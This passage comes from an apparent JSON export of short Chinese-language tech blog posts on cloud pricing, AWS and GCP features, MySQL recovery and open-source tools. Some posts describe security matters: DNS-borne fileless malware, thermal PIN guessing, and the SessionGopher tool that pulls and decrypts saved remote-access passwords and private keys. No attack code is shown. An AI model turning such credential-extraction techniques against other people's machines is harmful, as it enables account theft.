    "body": "<a href=\"https://www.vultr.com/\">Vultr</a> 宣佈了更小的方案：「<a href=\"https://www.vultr.com/news/The-Vultr-Cloud-Is-More-Powerful-Than-Ever/\">The Vultr Cloud Is More Powerful Than Ever!</a>」。\r\n\r\n本來的 $5/month 的方案從 768MB RAM 變成 1GB RAM (早期應該是 $5/month 方案裡面記憶體比較多的)，現在這樣等於跟上 <a href=\"https://www.linode.com/\">Linode</a> 的新方案，對於跑有在跑資料庫的使用者還不錯。\r\n\r\n另外多推出了 $2.5/month 的方案，20GB SSD + 512MB RAM (500GB bandwidth)，對於需要動態的小站台應該也夠用了，反正是 SSD，把 file swap 開起來可以跑不少東西了。\r\n\r\n來找時間把 blog 的機器降下去...",
    "title": "Vultr 提供 $2.5/month 的方案"
  },
  {
    "id": "7170",
    "body": "看到「<a href=\"https://thehackernews.com/2017/03/powershell-dns-malware.html\">New Fileless Malware Uses DNS Queries To Receive PowerShell Commands</a>」這篇，所以是有人開始這樣惡搞了...\r\n\r\n<blockquote>Distributed through an email phishing campaign, the DNSMessenger attack is completely Fileless, as it does not involve writing files to the targeted system; instead, it uses DNS TXT messaging capabilities to fetch malicious PowerShell commands stored remotely as DNS TXT records.</blockquote>\r\n\r\n利用 DNS 的穿透力來取得外部資訊...",
    "title": "透過 DNS TXT 傳遞指令的惡意程式"
  },
  {
    "id": "7171",
    "body": "利用手機螢幕上的餘熱分析可能的 PIN 碼：「<a href=\"https://thestack.com/iot/2017/03/10/heat-traces-left-by-fingers-can-reveal-your-smartphone-pin/\">Heat traces left by fingers can reveal your smartphone PIN</a>」，在輸入完 PIN 碼的 30 秒內的準確度都還是很高 (80%)：\r\n\r\n<blockquote>The report further revealed that if the thermal image is collected within 15 seconds of a PIN being entered, the technique is accurate almost 90% of the time. At 30 seconds, this accuracy decreased slightly to 80%. At 45 seconds or more, the accuracy dropped to 35% and below.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/w122Z9y.webp\" /><img src=\"https://i.gslin.com/imgur/w122Z9y.jpg\" alt=\"\" /></picture>",
    "title": "透過手機螢幕上的餘熱猜測 PIN 碼"
  },
  {
    "id": "7172",
    "body": "在「<a href=\"https://blog.acolyer.org/2017/03/07/thou-shalt-not-depend-on-me-analysing-the-use-of-outdated-javascript-libraries-on-the-web/\">Thou shalt not depend on me: analysing the use of outdated JavaScript libraries on the web</a>」這邊看到對 JavaScript Library 的研究。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wNcrpGM.webp\" /><img src=\"https://i.gslin.com/imgur/wNcrpGM.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://jquery.com/\">jQuery</a> 沒有什麼疑問的還是最大宗，查了一下應該是 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4969\">CVE-2011-4969</a> 的影響，對 jQuery 1.6、1.6.1、1.6.2 三個版本有影響。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mMAf2kV.webp\" /><img src=\"https://i.gslin.com/imgur/mMAf2kV.jpg\" alt=\"\" /></picture>\r\n\r\n另外也提到了 hosting 的部份，可以看到 <a href=\"https://developers.google.com/speed/libraries/\">Google Hosted Libraries</a> 還是佔有最高的比率。",
    "title": "分析現在還有多少不安全的 JavaScript Library 被使用"
  },
  {
    "id": "7173",
    "body": "看開發記錄，應該很久了... 這次是 <a href=\"https://github.com/donnemartin/saws\">donnemartin/saws</a>：\r\n\r\n<video src=\"https://i.gslin.com/imgur/2gFMgXf.mp4\" controls width=\"100%\" />\r\n\r\n用 <a href=\"https://www.python.org/\">Python</a> 寫的，所以用 <a href=\"https://pypi.python.org/pypi/pip\">pip</a> 就可以跑，不過目前還是不支援 profile：\r\n\r\n<blockquote>Command line options for starting SAWS with a specific profile are <a href=\"https://github.com/donnemartin/saws/issues/16\">under development</a>.</blockquote>\r\n\r\n所以自己用還可以 (因為只有一個帳號)，公司有一堆帳號得切來切去就沒辦法了，先丟著...",
    "title": "用 SAWS 管理 AWS 資源"
  },
  {
    "id": "7174",
    "body": "同事在 <a href=\"https://slack.com/\">Slack</a> 上提到 <a href=\"https://github.com/fireeye/SessionGopher\">fireeye/SessionGopher</a> 這個工具，可以從機器上拉出各種敏感資訊：\r\n\r\n<blockquote>SessionGopher is a PowerShell tool that uses WMI to extract saved session information for remote access tools such as WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop. It can be run remotely or locally.</blockquote>\r\n\r\n方法是掃 registry 或是硬碟：\r\n\r\n<blockquote>SessionGopher works by querying the HKEY_USERS hive for all users who have logged onto a domain-joined box at some point. It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. It automatically extracts and decrypts WinSCP, FileZilla, and SuperPuTTY saved passwords. When run in Thorough mode, it also searches all drives for PuTTY private key files (.ppk) and extracts all relevant private key information, including the key itself, as well as for Remote Desktop (.rdp) and RSA (.sdtid) files.</blockquote>\r\n\r\n是個... 好玩... 的... 東西...",
    "title": "用 SessionGopher 拉出機器上各種密碼與 Key"
  },
  {
    "id": "7176",
    "body": "<a href=\"https://www.google.com/\">Google</a> 在這次 <a href=\"https://cloudnext.withgoogle.com/\">Google Cloud Next '17</a> 公佈了 <a href=\"https://cloud.google.com/free/\">Google Cloud Platform Free Tier</a> 的 <a href=\"https://cloud.google.com/free/docs/always-free-usage-limits\">Always Free Usage Limits</a>，也就是終身免費的方案。\r\n\r\n這次宣佈的包括了許多服務。掃了一遍應該會去玩 <a href=\"https://cloud.google.com/compute/\">GCE</a> 的部份，包括了 0.6GB RAM 的機器以及 1GB 的對外流量 (不過到中國與澳洲要另外計費，不包含在這個範圍內)。\r\n\r\n領先者的 <a href=\"https://aws.amazon.com/\">AWS</a> 不知道會不會也跟進...",
    "title": "Google Cloud Platform 的終身免費方案"
  },
  {
    "id": "7177",
    "body": "看到「<a href=\"https://blog.packagecloud.io/eng/2017/03/08/system-calls-are-much-slower-on-ec2/\">Two frequently used system calls are ~77% slower on AWS EC2</a>」這篇在講 <code>gettimeofday</code> 與 <code>clock_gettime</code> 的效能，另外搜資料時發現應該也是作者提問的「<a href=\"https://stackoverflow.com/questions/42622427/gettimeofday-not-using-vdso\">gettimeofday() not using vDSO?</a>」這篇。\r\n\r\n在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 比較新的機器上用 <a href=\"https://en.wikipedia.org/wiki/Time_Stamp_Counter\">tsc</a> 應該是沒問題的 (在 2015 的時候官方就這樣建議了)：\r\n\r\n<blockquote>it seems tsc support in Xen has improved with version 4.0 and with improved CPU support in Sandy Bridge+ platforms. Modern EC2 machines should be okay with tsc. Check Xen version using dmesg | grep \"Xen version\". Amazon recommended the tsc clocksource already in re:Invent 2015 (https://www.slideshare.net/AmazonWebServices/cmp402-amazon-ec2-instances-deep-dive). I'm not yet running to production with this, but the situation doesn't seem as bad as implied by packagecloud.</blockquote>\r\n\r\n開了一台 t2.micro 看 <code>/sys/devices/system/clocksource/clocksource0/current_clocksource</code> 看起來目前是設成 <code>xen</code>：\r\n\r\n<pre>ubuntu@ip-172-31-22-165:~$ cat /sys/devices/system/clocksource/clocksource0/current_clocksource\r\nxen</pre>\r\n\r\n在「<a href=\"https://www.slideshare.net/AmazonWebServices/cmp402-amazon-ec2-instances-deep-dive\">(CMP402) Amazon EC2 Instances Deep Dive</a>」這邊也可以看到一些資料 (page 24 與 page 25)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xMoSIcW.webp\" /><img src=\"https://i.gslin.com/imgur/xMoSIcW.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6aXW1eO.webp\" /><img src=\"https://i.gslin.com/imgur/6aXW1eO.jpg\" alt=\"\" /></picture>",
    "title": "Amazon EC2 上的 gettimeofday 與 clock_gettime 的效能"
  },
  {
    "id": "7178",
    "body": "在「<a href=\"https://yurichev.com/blog/minesweeper/\">5-Mar-2017: Cracking Minesweeper with Z3 SMT solver</a>」這篇看到用 <a href=\"https://github.com/Z3Prover/z3\">Z3</a> 解數學問題：\r\n\r\n<blockquote>Z3 is a theorem prover from Microsoft Research. It is licensed under the MIT license.</blockquote>\r\n\r\n可以用 <a href=\"https://www.python.org/\">Python</a> 寫需要的條件，然後叫 Z3 去解... 作者這篇解的是<a href=\"https://zh.wikipedia.org/wiki/%E8%B8%A9%E5%9C%B0%E9%9B%B7\">踩地雷</a> XDDD",
    "title": "用 Z3 解問題"
  },
  {
    "id": "7179",
    "body": "<a href=\"https://github.com/bcicen/ctop\">bcicen/ctop</a> 這個專案，可以看到 container 使用資源的狀態：\r\n\r\n<video src=\"https://i.gslin.com/imgur/NE75Ztd.mp4\" controls width=\"100%\">\r\n\r\n用 <a href=\"https://golang.org/\">Go</a> 寫的。",
    "title": "看 container 狀態的 ctop"
  },
  {
    "id": "7180",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 本來最小台只支援到 t2.medium，現在則是多支援到 t2.small 了，對於更小的需求會更方便：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/03/amazon-aurora-cuts-entry-level-pricing-in-half-with-support-for-t2-small-instances/\">Amazon Aurora Cuts Entry-Level Pricing in Half With Support for T2.Small Instances</a>」。\r\n\r\n不過如果真的要小，而且不考慮會急速成長擴充的話，還是會往標準的 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 靠吧... 價錢上還是比較便宜。",
    "title": "Amazon Aurora 支援更小的 t2.small"
  },
  {
    "id": "7181",
    "body": "看到「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/03/amazon-ec2rescue-is-now-available/\">Amazon EC2Rescue is now available</a>」這個，在「<a href=\"https://aws.amazon.com/premiumsupport/knowledge-center/ec2rescue-windows-troubleshoot/\">How can I use EC2Rescue to troubleshoot and fix common issues on my EC2 Windows instance?</a>」這邊則解釋了用途。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MgF2RnX.webp\" /><img src=\"https://i.gslin.com/imgur/MgF2RnX.jpg\" alt=\"\" /></picture>\r\n\r\n拿來解 Windows 上常見的問題的工具，也可以單純拿來拉 log？不過要注意的是版本：\r\n\r\n<blockquote>Note: EC2Rescue can only be run on Windows Server 2008 R2 or later, but it can also analyze the offline volumes of Windows Server 2008 or later.</blockquote>\r\n\r\n像是 Windows 2003 這些古董是沒辦法跑的 XDDD",
    "title": "在 EC2 上 Windows 用的 EC2Rescue"
  },
  {
    "id": "7182",
    "body": "透過混搭本來的 shared IP address (已經對各 ISP 有信用) 與客戶租用的 dedicated IP address 混發，然後一段時間後養起來 (最多 45 days)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/03/amazon-ses-can-now-automatically-warm-up-your-dedicated-ip-addresses/\">Amazon SES Can Now Automatically Warm Up Your Dedicated IP Addresses</a>」。\r\n\r\n<blockquote>Amazon SES controls the amount of email that can be sent through an IP address. Amazon SES uses a predefined warm-up plan that indicates the maximum number of emails that can be sent daily through an IP address to ensure the traffic is increasing gradually over 45 days.</blockquote>\r\n\r\n<del>要注意的是，這個過程需要發五萬封才有辦法養出來，不是設上去就會自己養</del>：\r\n\r\n<blockquote>After you successfully warm up your dedicated IPs (either by yourself or by using the Amazon SES automatic warm-up mechanism), you must send at least 50,000 emails per dedicated IP per day so that the IPs maintain a positive reputation with ISPs. To avoid throttling by the ISPs, avoid sending a high volume of emails soon after the completion of warm-up; we recommend gradually increasing the volume for better deliverability.</blockquote>\r\n\r\n現在弄 mail service 超麻煩的...",
    "title": "Amazon SES 提供 Dedicated IP Address 的養 IP 機制..."
  },
  {
    "id": "7183",
    "body": "看到「<a href=\"http://techblog.netflix.com/2017/03/netflix-security-monkey-on-google-cloud.html\">Netflix Security Monkey on Google Cloud Platform</a>」這則消息，看起來 <a href=\"https://www.netflix.com/\">Netflix</a> 也往 <a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 在嘗試了。\r\n\r\n<a href=\"https://github.com/Netflix/security_monkey\">Netflix Security Monkey</a> 本來是對 <a href=\"https://aws.amazon.com/\">AWS</a> 分析，現在則是開始支援 GCP (雖然還在 beta)：\r\n\r\n<blockquote>Security Monkey monitors policy changes and alerts on insecure configurations in an AWS account. While Security Monkey’s main purpose is security, it also proves a useful tool for tracking down potential problems as it is essentially a change tracking system.</blockquote>",
    "title": "所以 Netflix 也往 Google Cloud Platform 嘗試了..."
  },
  {
    "id": "7184",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 提高了 <a href=\"https://aws.amazon.com/ec2/pricing/reserved-instances/\">EC2 Reserved Instances</a> 的彈性：「<a href=\"https://aws.amazon.com/blogs/aws/new-instance-size-flexibility-for-ec2-reserved-instances/\">New – Instance Size Flexibility for EC2 Reserved Instances</a>」。\r\n\r\n比較簡單的說 (但不是太精確)，就是針對 family type 就可以了，同一個 family type 會依照比例系統自動計算。\r\n\r\n舉個例子來說，買 c4.8xlarge 的 RI 可以被計算在兩台 c4.4xlarge 上。而買 c4.4xlarge 的 RI 後，c4.8xlarge 的機器可以有一半透過 c4.4xlarge 計算，另外一半依照原價算。就不需要自己調來調去了...\r\n\r\n整個新的計算方式回溯到 2017/03/01 生效。",
    "title": "AWS 提高 EC2 Reserved Instances 的彈性"
  },
  {
    "id": "7186",
    "body": "雖然 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 12.04 (Precise Pangolin，一般拿 Precise 當識別代碼) 將會在 2017/04/28 結束五年的維護，而官方也建議大家升級到 14.04 (Trusty Tahr) 或是 16.04 (Xenial Xerus)，但總還是會有因為種種因素而升不動的系統...\r\n\r\n因為升級有困難而還在使用 12.04 的使用者，Ubuntu 則是提供了商業的維護合約 <a href=\"https://buy.ubuntu.com/\">Ubuntu Advantage</a>：「<a href=\"https://insights.ubuntu.com/2017/03/14/introducing-ubuntu-12-04-esm-extended-security-maintenance/\">Introducing Ubuntu 12.04 ESM (Extended Security Maintenance)</a>」。\r\n\r\nDesktop 版是 $125/year (最少 50 套)，VM 是 $250/year (最少 10 套)，Server 是 $750/year (可單買)。\r\n\r\n我應該是用不到，不過如果有需求的人可以看一看...",
    "title": "Ubuntu 12.04 的在 2017 年四月後的後續維護"
  },
  {
    "id": "7187",
    "body": "<a href=\"https://github.com/\">GitHub</a> 自家版本的 <a href=\"https://daringfireball.net/projects/markdown/\">Markdown</a> 給出了正式的規格，<a href=\"https://github.github.com/gfm/\">GitHub Flavored Markdown Spec</a>：「<a href=\"https://githubengineering.com/a-formal-spec-for-github-markdown/\">A formal spec for GitHub Flavored Markdown</a>」。\r\n\r\n規格裡面把標出 GFM 版本所特有的特性：\r\n\r\n<blockquote>When reviewing the GFM spec, you can clearly tell which parts are GFM-specific additions because they’re highlighted as such. You can also tell that no parts of the original spec have been modified and therefore should remain fully compliant with all other implementations.</blockquote>\r\n\r\n有種內部在實做時順便整理出來的感覺...",
    "title": "GitHub 版本的 Markdown 的正式規格"
  },
  {
    "id": "7188",
    "body": "看到「<a href=\"https://news.ycombinator.com/item?id=13867016\">Ask HN: Which Berkeley Courses Should I Archive?</a>」這篇才知道下架的計畫，但也有人很努力在掃：「<a href=\"https://archive.is/D1Ail\">UC Berkeley Course Captures</a>」。\r\n\r\n官方的公告在月初的時候發出來的：「<a href=\"http://news.berkeley.edu/2017/03/01/course-capture/\">Campus message on Course Capture video, podcast changes</a>」，提供的理由還是很怪...\r\n\r\n有點可惜啊... :o",
    "title": "UC Berkeley Course 的影片將從 YouTube 上下架"
  },
  {
    "id": "7189",
    "body": "看到「<a href=\"https://rickhw.github.io/2017/03/02/AWS/Study-Notes-CloudWatch/\">Study Notes - CloudWatch</a>」這篇後想到可以把 <a href=\"https://aws.amazon.com/cloudwatch/details/#log-monitoring\">CloudWatch Logs</a> 寫下來...\r\n\r\n目前的玩法是參考「<a href=\"https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/QuickStartEC2Instance.html\">Quick Start: Install and Configure the CloudWatch Logs Agent on a Running EC2 Instance</a>」這篇設定 IAM Role 的權限，然後安裝 agent，最後設定要丟什麼上去，其實這塊還蠻簡單的...\r\n\r\n然後用 <a href=\"https://github.com/kennu/cwtail\">kennu/cwtail</a> 這隻程式負責幫你跑出像 <code>tail -f</code> 的效果。像是 <code>cwtail --profile=myaccount -e -f -s -t /var/log/syslog</code> 這樣的用法 (參數的意義可以直接跑 <code>cwtail</code> 看到)。\r\n\r\n不過他的 <code>-n</code> 好像不會動，跑下去都會從頭拉 XDDD",
    "title": "玩 CloudWatch Logs"
  },
  {
    "id": "7191",
    "body": "<a href=\"https://research.google.com/teams/gre/\">Google Research Europe</a> 推出的演算法，在不動 decoder 的情況下，要怎麼樣壓出又小又清晰的 JPEG 圖片：「<a href=\"https://research.googleblog.com/2017/03/announcing-guetzli-new-open-source-jpeg.html\">Announcing Guetzli: A New Open Source JPEG Encoder</a>」，論文可以在「<a href=\"https://arxiv.org/abs/1703.04421\">Guetzli: Perceptually Guided JPEG Encoder</a>」這邊下載，程式碼則可以在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/google/guetzli/\">google/guetzli</a> 取得。\r\n\r\n<a href=\"https://blog.othree.net/\">othree</a> 也寫了一篇「<a href=\"https://blog.othree.net/log/2017/03/17/guetzli-new-os-jpeg-encoder/\">Guetzli: A New Open Source JPEG Encoder</a>」介紹 Guetzli。\r\n\r\nGuetzli 在同樣的品質下，比現有的壓縮法可以再壓榨出 29%～45% 的空間，這算是非常驚人的數字：\r\n\r\n<blockquote>We reach a 29-45% reduction in data size for a given perceptual distance, according to Butteraugli, in comparison to other compressors we tried.</blockquote>\r\n\r\n但代價是需要極為大量的 CPU resource 計算，這使得他沒辦法用在太動態的環境裡：\r\n\r\n<blockquote>Guetzli's computation is currently extremely slow, which limits its applicability to compressing static content and serving as a proof- of-concept that we can achieve significant reductions in size by combining advanced psychovisual models with lossy compression techniques.</blockquote>\r\n\r\n但只要是在批次處理產生的過程 (不需要太在意要等很久)，都可以考慮用這個工具...",
    "title": "Google 的 Guetzli，對 JPEG 的壓縮演算法"
  },
  {
    "id": "7193",
    "body": "每次看到 <a href=\"https://www.verizondigitalmedia.com/\">EdgeCast</a> 的業務都會抱怨一下，總算正式公佈了...\r\n\r\nEdgeCast 的 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a> 預定在 2017/03/31 全面上線：「<a href=\"https://www.verizondigitalmedia.com/blog/2017/03/http2-announcement/\">HTTP/2 Coming Soon to Our Customers with SSL Certificates!</a>」。\r\n\r\n由於是逐步上線，有些網站會在 3/31 前就生效 (像是 EdgeCast 的官網)：\r\n\r\n<blockquote>The rollout of HTTP/2 will be gradual, and you may start to see some of your content being delivered over HTTP/2 before March 31.</blockquote>",
    "title": "EdgeCast 總算記得要推出 HTTP/2 了..."
  },
  {
    "id": "7194",
    "body": "算是個有趣的研究，看看就好：「<a href=\"https://erikbern.com/2017/03/15/the-eigenvector-of-why-we-moved-from-language-x-to-language-y.html\">The eigenvector of \"Why we moved from language X to language Y\"</a>」。\r\n\r\n作者先用 <a href=\"https://www.google.com/\">Google</a> 搜尋拉出數量：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qEP0y3Y.webp\" /><img src=\"https://i.gslin.com/imgur/qEP0y3Y.jpg\" alt=\"\" /></picture>\r\n\r\n但這個方法少了保留在原語言的資料，所以後面看看就好 XD\r\n\r\n接下來是轉換成 stochastic matrix (真是讓人懷念的東西...)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dhDWLw0.webp\" /><img src=\"https://i.gslin.com/imgur/dhDWLw0.jpg\" alt=\"\" /></picture>\r\n\r\n最高的幾個語言是 <a href=\"https://golang.org/\">Golang</a>、<a href=\"https://en.wikipedia.org/wiki/C_(programming_language)\">C</a> 與 <a href=\"https://www.java.com/\">Java</a>，不過如同前面講的，因為少了留在原語言的資料，看看就好不用當真...",
    "title": "「從 X 語言轉換到 Y 語言」的研究"
  },
  {
    "id": "7195",
    "body": "在「<a href=\"https://www.percona.com/blog/2017/03/15/restore-single-innodb-table-full-backup-accidentally-dropping/\">How to Restore a Single InnoDB Table from a Full Backup After Accidentally Dropping It</a>」這篇提到了 <a href=\"https://dev.mysql.com/\">MySQL</a> InnoDB 單表復原的事情。\r\n\r\n文章裡先提到了 2012 年的文章「<a href=\"https://www.percona.com/blog/2012/01/25/how-to-recover-a-single-innodb-table-from-a-full-backup/\">How to recover a single InnoDB table from a Full Backup</a>」，講更特定的情況。\r\n\r\n這邊兩篇的大前提都是使用 <code>innodb_file_per_table</code>。\r\n\r\n2012 的文章裡講的是誤刪 (<code>DELETE</code>) 後的處理，如果是 <code>DROP TABLE</code>、<code>TRUNCATE</code> 或是因為 <code>ALTER TABLE</code> 而造成資料遺失的話，就不能用這篇文章的方式處理：\r\n\r\n<blockquote>You must not drop, truncate or alter the schema of the table after the backup has been taken.</blockquote>\r\n\r\n如果很幸運是因為 <code>DELETE</code> 而遺失的話，在文章裡有提到 <a href=\"https://www.percona.com/doc/percona-xtrabackup/2.4/innobackupex/innobackupex_script.html\">innobackupex</a> 這個工具，透過 innobackupex 備份的資料才有辦法依照文章裡的方法做到單表復原。\r\n\r\n先 discard tablespace：\r\n\r\n<pre>mysql&gt; set FOREIGN_KEY_CHECKS=0;\r\nmysql&gt; ALTER TABLE salaries DISCARD TABLESPACE;</pre>\r\n\r\n然後把檔案 cp 進去：\r\n\r\n<pre>cp /tmp/2012-01-22_14-13-20/employees/salaries.ibd /var/lib/mysql/data/employees/</pre>\r\n\r\n最後再 import tablespace 回去：\r\n\r\n<pre>mysql&gt; set FOREIGN_KEY_CHECKS=0;\r\nmysql&gt; ALTER TABLE salaries IMPORT TABLESPACE;\r\nmysql&gt; set FOREIGN_KEY_CHECKS=1;</pre>\r\n\r\n而 2017 講的誤刪則是補充了 2012 文章裡另外的情況，用途也比較廣，但動作比較複雜。\r\n\r\n本來的四個步驟：\r\n\r\n<ul>\r\n\t<li>Prepare the backup</li>\r\n\t<li>Discard the tablespace of the original table</li>\r\n\t<li>Copy .ibd from the backup to the original table path</li>\r\n\t<li>Import the tablespace</li>\r\n</ul>\r\n\r\n變成了七個步驟：\r\n\r\n<ul>\r\n\t<li>Prepare the backup</li>\r\n\t<li><strong>Extract the original table structure from the backup (i.e., extract the create statement from the backup .frm file)</strong></li>\r\n\t<li><strong>Create a new empty table</strong></li>\r\n\t<li><strong>Apply some locks</strong></li>\r\n\t<li><strong>Discard the newly created tablespace</strong></li>\r\n\t<li>Copy back .ibd from the backup</li>\r\n\t<li>Import the tablespace</li>\r\n</ul>\r\n\r\n粗體的部份就是不一樣的部份，多出來的步驟產生出同樣的環境配合 <code>.ibd</code>，然後讓 <code>.ibd</code> 檔匯進 MySQL。\r\n\r\n實際練過一次會比較有感覺 (應該可以在 <a href=\"https://www.docker.com/\">Docker</a> 裡測試)，等不幸遇到的時候手腳比較不會慌亂...",
    "title": "在 MySQL InnoDB 下單表復原的方式"
  },
  {
    "id": "7196",
    "body": "在「<a href=\"https://blog.acolyer.org/2017/03/15/application-crash-consistency-and-performance-with-ccfs/\">Application crash consistency and performance with CCFS</a>」這篇看到的東西。\r\n\r\nCCFS 目標是拉高 ext4 的 data integrity，並且還是有高效能：\r\n\r\n<blockquote>CCFS (the Crash-Consistent File System) is an extension to ext4 that restores ordering and weak atomicity guarantees for applications, while at the same time delivering much improved performance.</blockquote>\r\n\r\n如果你需要絕對的 data integrity，你需要用 <code>data=journal</code> 確保資料可以在 system crash 後被 replay，預設的 <code>data=ordered</code> 是無法達到的，而 CCFS 也沒打算達到絕對的 data integrity，而是盡量達到。所以在測試上可以發現 CCFS 大幅改善了 data integrity：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5bnTiOc.webp\" /><img src=\"https://i.gslin.com/imgur/5bnTiOc.jpg\" alt=\"\" /></picture>\r\n\r\n而效能還提昇了 (喂喂)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AAM0IbZ.webp\" /><img src=\"https://i.gslin.com/imgur/AAM0IbZ.jpg\" alt=\"\" /></picture>\r\n\r\n這真是太神奇了...\r\n\r\n翻了一下好像沒 open source 出來 (至少現在沒看到)，來等看看有沒有人會實做出來...",
    "title": "在 ext4 上的 CCFS"
  },
  {
    "id": "7198",
    "body": "在這邊看到可以測試瀏覽器的 SSL 連線，網站在 <a href=\"https://badssl.com/dashboard/\">https://badssl.com/dashboard/</a> 這邊：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">OOO, Chrome just added a dashboard to quickly test out whether your network connection&#39;s being ruined by inspection: <a href=\"https://t.co/1iVkGnat7A\">https://t.co/1iVkGnat7A</a> <a href=\"https://t.co/s19RmdzlK5\">pic.twitter.com/s19RmdzlK5</a></p>&mdash; Eric Mill (@konklone) <a href=\"https://twitter.com/konklone/status/842770759072333825\">March 17, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 都有過，但是 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 與 IE11 都還可以連 <a href=\"https://dh1024.badssl.com/\">dh1024</a>... (ouch)",
    "title": "檢查瀏覽器是否阻擋不安全的 SSL 連線"
  },
  {
    "id": "7199",
    "body": "<a href=\"https://git-scm.com/\">Git</a> 用 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a>，而 SHA-1 又破的問題使得 Git 開始計畫其他 hash algorithm (「<a href=\"https://blog.gslin.org/archives/2017/02/23/7139/google-%E8%88%87-cwi-amsterdam-%E5%90%88%E4%BD%9C%EF%BC%8C%E6%89%BE%E5%88%B0-sha-1-%E7%AC%AC%E4%B8%80%E5%80%8B-collision/\">Google 與 CWI Amsterdam 合作，找到 SHA-1 第一個 collision</a>」)。\r\n\r\n在「<a href=\"https://github.com/git/git/commit/e1fae930193b3e8ff02cee936605625f63e1d1e4\">\"uchar [40]\" to \"struct object_id\" conversion continues.</a>」這邊可以看到一些動作，先把本來的 <code>uchar[40]</code> 換成一般性的 <code>struct object_id</code>。\r\n\r\n<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=13906804\">The beginning of Git supporting other hash algorithms</a>」也有一些討論可以看。",
    "title": "Git 支援其他 Hash 演算法的進展"
  },
  {
    "id": "7200",
    "body": "看到 <a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 的 <a href=\"https://cloud.google.com/compute/\">Google Cloud Engine</a> 也開始提供 RI 的想法了：「<a href=\"https://cloud.google.com/compute/pricing#committed_use\">Committed use discounts</a>」。\r\n\r\n本來就有 <a href=\"https://cloud.google.com/compute/pricing#sustained_use\">Sustained use discounts</a>，當你用到一定的量時就會自動折扣，不需要人工介入，不過對於 7x24 開機的 instance 來說，能得到的折扣還是比不上 <a href=\"https://aws.amazon.com/\">AWS</a> 的 RI。\r\n\r\n這次 Committed use discounts 折扣的方式跟 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 類似，一樣是一年與三年。計價方式不同的原因是因為 GCE 提供 custom type，使用者可以自己選 vCPU 與 Memory，所以折扣的方式也是圍繞在這兩個選擇上規劃。\r\n\r\n不過小台機器是不提供折扣的，這點就不像 AWS 上所有種類的機器都可以買 RI：\r\n\r\n<blockquote>You can only use committed use discounts for predefined machine types and custom machine types. Small machine types, such as f1-micro and g1-small, are not eligible for committed use discounts.</blockquote>\r\n\r\n目前是 beta：\r\n\r\n<blockquote>This is a Beta release of Committed Use Discounts. This feature is not covered by any SLA or deprecation policy and may be subject to backward-incompatible changes.</blockquote>",
    "title": "Google Cloud Platform 也開始玩 Reserved Instances 的想法了 (Committed use discounts)"
  },
  {
    "id": "7201",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的專案，<a href=\"https://github.com/readbeyond/aeneas\">readbeyond/aeneas</a>：\r\n\r\n<blockquote>aeneas is a Python/C library and a set of tools to automagically synchronize audio and text (aka forced alignment).</blockquote>\r\n\r\n馬上想到的是... 這根本就是字幕組的福音 XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fgbLRAD.webp\" /><img src=\"https://i.gslin.com/imgur/fgbLRAD.jpg\" alt=\"\" /></picture>\r\n\r\n支援的語言：\r\n\r\n<blockquote>Confirmed working on 38 languages: AFR, ARA, BUL, CAT, CYM, CES, DAN, DEU, ELL, ENG, EPO, EST, FAS, FIN, FRA, GLE, GRC, HRV, HUN, ISL, ITA, JPN, LAT, LAV, LIT, NLD, NOR, RON, RUS, POL, POR, SLK, SPA, SRP, SWA, SWE, TUR, UKR</blockquote>\r\n\r\n除了 ENG 以外，有 JPN... XD",
    "title": "用程式自動同步字幕與聲音"
  },
  {
    "id": "7202",
